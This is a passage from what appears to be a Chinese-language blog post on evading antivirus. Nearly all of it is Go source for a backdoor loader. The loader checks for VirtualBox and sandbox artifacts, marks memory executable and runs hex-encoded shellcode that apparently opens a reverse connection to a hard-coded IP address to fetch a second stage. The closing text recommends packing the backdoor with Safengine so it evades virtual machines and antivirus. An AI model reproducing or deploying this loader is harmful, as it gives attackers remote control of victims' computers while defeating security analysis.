fack("C:\\windows\\System32\\Drivers\\VBoxGuest.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxSF.sys")
fack("C:\\windows\\System32\\Drivers\\VBoxVideo.sys")
fack("C:\\windows\\System32\\vboxdisp.dll")
fack("C:\\windows\\System32\\vboxhook.dll")
fack("C:\\windows\\System32\\vboxoglerrorspu.dll")
fack("C:\\windows\\System32\\vboxoglpassthroughspu.dll")
fack("C:\\windows\\System32\\vboxservice.exe")
fack("C:\\windows\\System32\\vboxtray.exe")
fack("C:\\windows\\System32\\VBoxControl.exe")
}
var VirtualAlloc = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func aaa(a unsafe.Pointer, b uintptr, c uint32, d unsafe.Pointer) bool {
ret, _, _ := VirtualAlloc.Call(
uintptr(a),
uintptr(b),
uintptr(c),
uintptr(d))
return ret > 0
}
func Run(sc []byte) {
fly := func() {}
var xx uint32
if !aaa(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&fly))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&xx)) {
}
**(**uintptr)(unsafe.Pointer(&fly)) = *(*uintptr)(unsafe.Pointer(&sc))
var yy uint32
aaa(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&yy))
fly()
}
func ScFromHex(scHex string) []byte {
var charcode []byte
charcode, _ = hex.DecodeString(string(scHex))
return charcode
}
func main() {
check_language()
check_file()
check, _ := check_virtual()
if check == true {
os.Exit(1)
}
check_sandbox()
sccode := ScFromHex("fc4883e4f0e8cc000000415141505251564831d265488b5260488b5218488b5220488b72504d31c9480fb74a4a4831c0ac3c617c022c2041c1c90d4101c1e2ed52488b522041518b423c4801d0668178180b020f85720000008b80880000004885c074674801d0448b40208b48184901d050e3564d31c948ffc9418b34884801d64831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e94bffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02001a202f5eec7541544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd56a0a415e50504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd585c0740a49ffce75e5e8930000004883ec104889e24d31c96a0441584889f941ba02d9c85fffd583f8007e554883c4205e89f66a404159680010000041584889f24831c941ba58a453e5ffd54889c34989c74d31c94989f04889da4889f941ba02d9c85fffd583f8007d2858415759680040000041586a005a41ba0b2f0f30ffd5575941ba756e4d61ffd549ffcee93cffffff4801c34829c64885f675b441ffe7586a005949c7c2f0b5a256ffd5")
Run(sccode)
}
我們可以將後門通過一些工具進行專案保護
比如使用Safengine
在虛擬機器器中無法執行,也不會被殺
文筆垃圾,措辭輕浮,內容淺顯,操作生疏,還請各位大佬多多指導